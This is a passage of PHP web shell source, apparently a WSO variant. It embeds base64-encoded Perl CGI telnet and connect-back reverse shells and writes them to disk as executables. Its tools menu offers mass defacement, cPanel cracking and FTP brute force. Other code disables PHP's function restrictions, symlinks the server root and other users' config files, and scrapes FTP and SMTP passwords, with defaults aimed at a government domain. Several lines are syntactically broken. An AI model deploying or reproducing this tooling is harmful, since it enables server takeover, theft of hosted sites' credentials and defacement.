hZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==
1537';
1538
1539$file = fopen("cgi.cin" ,"w+");
1540$write = fwrite ($file ,base64_decode($cgishellizocin));
1541fclose($file);
1542 chmod("cgi.cin",0755);
1543$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
1544MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
1545ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
1546MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
1547ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
1548MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
1549Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
1550KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
1551SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
1552ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
1553UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
1554VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
1555ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
1556JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
1557bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
1558ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
1559YXRhY2hlZFxuXG4iOw==';
1560
1561$file = fopen("dc.pl" ,"w+");
1562$write = fwrite ($file ,base64_decode($netcatshell));
1563fclose($file);
1564 chmod("dc.pl",0755);
1565 echo "<iframe src=cgi-telnet/cgi.cin width=100% height=100% frameborder=0></iframe> ";
1566echo '</div>';
1567wsoFooter(); }
1568##################### Tools #########################
1569function actiontools() {
1570wsoHeader();
1571echo'
1572<center>
1573<a href=# onclick="g(\'mass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Folders Mass Defacer ]</a><br><br>
1574<a href=# onclick="g(\'config\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Config Grabber ]</a><br><br>
1575<a href=# onclick="g(\'configsh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Config Killer ]</a><br><br>
1576<a href=# onclick="g(\'zoneh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Zone-h Poster ]</a><br><br>
1577<a href=# onclick="g(\'ftpsmtp\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ FTP And SMTP Config Grabber ]</a><br><br>
1578<a href=# onclick="g(\'Php\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ PHP Exec ]</a><br><br>
1579<a href=# onclick="g(\'userchecker\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Web Site Username Checker ]</a><br><br>
1580<a href=# onclick="g(\'cpcrack\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Cpanel Cracker ]</a><br><br>
1581<a href=# onclick="g(\'lfiscan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ LFI ]</a><br><br>
1582<a href=# onclick="g(\'BruteForce\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ FTP BrutForce ]</a><br><br>
1583<a href=# onclick="g(\'sub\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Sub Domain Checker ]</a><br><br>
1584<a href=# onclick="g(\'shellfind\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Shell Finder ]</a><br><br>
1585';
1586wsoFooter();}
1587#################### Config Killer #################
1588function actionconfigsh() {
1589wsoHeader();
1590echo'
1591<center><h1>Config Killer</h1>
1592<center><form method=post><font color=white size=2 face="comic sans ms">Creat PHP.ini To Bypass Disbale Functions</font><p>
1593<center><input type="hidden" name="a" value="configsh"><input type=submit name=ini value="PHP.ini" /></form>
1594<center><form method=post><font color=white size=2 face="comic sans ms">Extract Username To Symlink</font><p>
1595 <cente><input type="hidden" name="a" value="configsh"><input type=submit name="usre" value="Extract Usernames" /></form><br>';
1596 if(isset($_POST['ini']))
1597 {
1598
1599 $r=fopen('php.ini','w');
1600 $rr=" disbale_functions=none ";
1601 fwrite($r,$rr);
1602 $link="<br><a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>PHP.INI</u></font></a>";
1603 echo $link;
1604
1605 }
1606
1607
1608 if(isset($_POST['usre'])){<form method=post>
1609 <textarea rows=10 cols=50 name=user>$users=file("/etc/passwd");
1610foreach($users as $user)
1611{
1612$str=explode(":",$user);
1613echo $str[0]."\n";
1614}</textarea><br><br>
1615 <input type="hidden" name="a" value="configsh"><input type=submit name=su value="Get Symlink !" /></form>
1616 }
1617 error_reporting(0);
1618 echo "<font size=2 face=\"comic sans ms\">";
1619 if(isset($_POST['su']))
1620 {
1621 mkdir('phdz-root2',0777);
1622$rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1623$g = fopen('phdz-root2/.htaccess','w');
1624fwrite($g,$rr);
1625$indishell = symlink("/","phdz-root2/root");
1626 $rt="<a href=phdz-root2/root><font color=white size=3 face=\"comic sans ms\"> Root</font></a>";
1627 echo " [+] Root Symlink<br><u>$rt</u>";
1628
1629 $dir=mkdir('phdz-config2',0777);
1630 $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1631 $f = fopen('phdz-config2/.htaccess','w');
1632
1633 fwrite($f,$r);
1634 $consym="<a href=phdz-config2/><font color=white size=3 face=\"comic sans ms\">Configs</font></a>";
1635 echo "<br>[+] Config Grabbed<br><u><font size=2 face=\"comic sans ms\">$consym</font></u>";
1636
1637 $usr=explode("\n",$_POST['user']);
1638 $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
1639 foreach($usr as $uss )
1640 {
1641 $us=trim($uss);
1642
1643 foreach($configuration as $c)
1644 {
1645 $rs="/home/".$us."/public_html/".$c;
1646 $r="phdz-config2/".$us." .. ".$c;
1647 symlink($rs,$r);
1648
1649 }
1650
1651 }
1652
1653
1654 }
1655wsoFooter(); }
1656#################### FTP SMTP ####################
1657function actionftpsmtp() {
1658wsoHeader();
1659<center>
1660<h1><b>FTP And SMTP Configs Grabber</b></h1>
1661<FORM action="" method="post">
1662<input type="hidden" name="form_action" value="1">
1663<table border=1>
1664<tr><td><span>Configs Link :</span></td><td><input type="text" size="60" name="url" value="www.gov.dz/phdz-config/"></td></tr>
1665</table>
1666<br>
1667<input type="hidden" name="a" value="ftpsmtp"><INPUT class=submit type="submit" value=">>" >
1668</FORM>
1669</font>
1670</center>
1671</body>
1672</html>
1673if (array_key_exists('form_action', $_POST)){
1674echo('<center><br><br>');
1675echo "<span>";
1676
1677echo "[] Getting Config URL : [] ".$_POST['url'];
1678$url1=file_get_contents($_POST['url']);
1679$ar = explode('<li><a href="', $url1);
1680for($vi=2;$vi < count($ar);$vi++)
1681 {
1682
1683$var1 = strtok($ar[$vi], " ");
1684$var1 = substr($var1,0,-2);
1685$link = $url1.$var1;
1686$filename = 'jftp.txt';
1687$fp = fopen($filename, "a+");
1688$write = fputs($fp, $var1."\n");
1689fclose($fp);
1690}
1691echo "<br>";
1692echo "[] Collected All Config Names []";
1693echo "<br>";
1694echo "[] Seperating Joomla Configs []";
1695echo "<br>";
1696$joomconfigs=file('jftp.txt');
1697ini_set("display_errors", "0");
1698set_time_limit(0);
1699foreach ($joomconfigs as $joomconfig) {
1700$pos = strpos($joomconfig,"oomla");
1701if($pos === false) {
1702$filename = 'others.txt';
1703$fp = fopen($filename, "a+");
1704$write = fputs($fp, $joomconfig."\n");
1705fclose($fp);
1706}
1707else {
1708$filename = 'joomla.txt';
1709$fp = fopen($filename, "a+");
1710$write = fputs($fp, $joomconfig."\n");
1711fclose($fp);
1712}
1713}
1714unlink ('jftp.txt');
1715unlink ('others.txt');
1716echo "[] Joomla Configs Seperated []";
1717echo "<br>";
1718echo "[] Scanning JOOMLA FTP Credentials []";
1719echo "<br>";
1720echo ("<center><table border=1 cellspacing=1 cellpading=1>
1721<tr><th width='400'><span>SMTP DETAILS</span></th><th width=200><span>FTP Host</span></th> <th width=150><span>FTP Username</span></td><th width=150><span>FTP Password</span></td><th width=100><span>ENABLED</span></td></tr>");
1722
1723$getconfig=file('joomla.txt');
1724foreach ($getconfig as $gconfig) {
1725$strlengconfig=strlen($gconfig);
1726if ($strlengconfig > 2) {
1727$urltoconfig=$_POST['url']."/".$gconfig;
1728$getconfig=file_get_contents($urltoconfig);
1729$ftphost=entre2v2($getconfig,"ftp_host = '","';");
1730$ftpuser=entre2v2($getconfig,"ftp_user = '","';");
1731$ftppass=entre2v2($getconfig,"ftp_pass = '","';");
1732$ftpenable=entre2v2($getconfig,"ftp_enable = '","';");
1733$smtpuser=entre2v2($getconfig,"smtpuser = '","';");
1734$smtppass=entre2v2($getconfig,"smtppass = '","';");
1735$smtphost=entre2v2($getconfig,"smtphost = '","';");
1736$smtpport=entre2v2($getconfig,"smtpport = '","';");
1737
1738if ($ftpenable==1){
1739$ftpenabled="YES";
1740echo "<center><table border=1 cellspacing=1 cellpading=1>
1741<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br> </font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='green' face='courier new'> $ftpenabled </font></td></tr></table></center>";
1742}
1743else {
1744$ftpenabled="NO";
1745echo "<center><table border=1 cellspacing=1 cellpading=1>
1746<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br></font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='red' face='courier new'> $ftpenabled </font></td></tr></table></center>";
1747}
1748}
1749}
1750
1751echo"</font>";
1752echo('</center>');
1753unlink ('joomla.txt');
1754}
1755function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1756 $ar0=explode($marqueurDebutLien, $text);
1757 $ar1=explode($marqueurFinLien, $ar0[$i]);
1758 return trim($ar1[0]);
1759}
1760wsoFooter(); }
1761######################### Web Site Username Checker ##########################
1762function actionuserchecker() {
1763wsoHeader();
1764echo' <center><h1>Web Site Username Checker</h1><br><br>
1765 </center>
1766 </center>
1767 <form method="post"><center>
1768 <input type="text" name="si" value="http://www.gov.dz/"><br />
1769 <input type="hidden" name="a" value="userchecker"><input type="submit" name="b0x" value=">>" ><br></form>
1770 ';
1771 $fo = $_POST['si'];
1772 $fo2 = $fo;
1773 $strlen = strlen($fo2);
1774 $fo2 = replace($fo2);
1775 for($i=0;$i<=$strlen;$i++)
1776 {
1777 $words[] = substr($fo2 ,0 ,$i);
1778 }
1779
1780 foreach($words as $users)
1781 {
1782 echo $users."<br>";
1783 if($_POST['b0x'])
1784 {
1785 cURL($fo,$users);
1786 }
1787 }
1788
1789 function cURL($fo,$users)
1790 {
1791 $curl = curl_init();
1792 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1793 curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1794 curl_setopt($curl,CURLOPT_URL, $fo."/cgi-sys/guestbook.cgi?user={$users}");
1795 $start = curl_exec($curl);
1796 if(!eregi("Invalid username", $start))
1797 {
1798 echo "<font face='Tahoma' size='2' color='red'><b>{$users}</b></font><br>";
1799 }
1800 return $start;
1801 }
1802
1803 function replace($fo)
1804 {
1805 $search = array('http://','https://',,'-','/','www');
1806 $str = str_replace($search , "", $fo);
1807 return $str;
1808 }
1809wsoFooetr(); }
1810####################### sub domain #######################
1811function actionsub() {
1812wsoHeader();
1813echo '<br><center><h1>Subdomain Checker</h1><center><br>';
1814echo'<html><body><center></br>
1815<form method="post">
1816<input type="text" name="site" size="20" placeholder="www.site.com">
1817<input type="hidden" name="a" value="sub"><input type="submit" value="Check it Please !">
1818</form>
1819</font>';
1820echo '<br><center><span>( Delete http:// )</span><center><br>';
1821set_time_limit(0);
1822$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
1823if($_POST){
1824$url = $_POST["site"];
1825foreach($subs as $sub){
1826if(!eregi($url, gethostbyname($sub..$url))){
1827echo '<font face="Baskerville Old Face" color="#df5">'.$sub..$url.' : </font><font color="green">'.gethostbyname($sub..$url).'</font></br>';
1828}else{
1829echo '<font face="Baskerville Old Face" color="#df5">'.$sub..$url.' : Nothing Found</font></br>';
1830}
1831}
1832}
1833wsoFooter();}
1834####################### Forums #######################
1835function actionforum() {
1836wsoHeader();
1837echo'
1838<center>
1839<h1>Wordpress</h1>
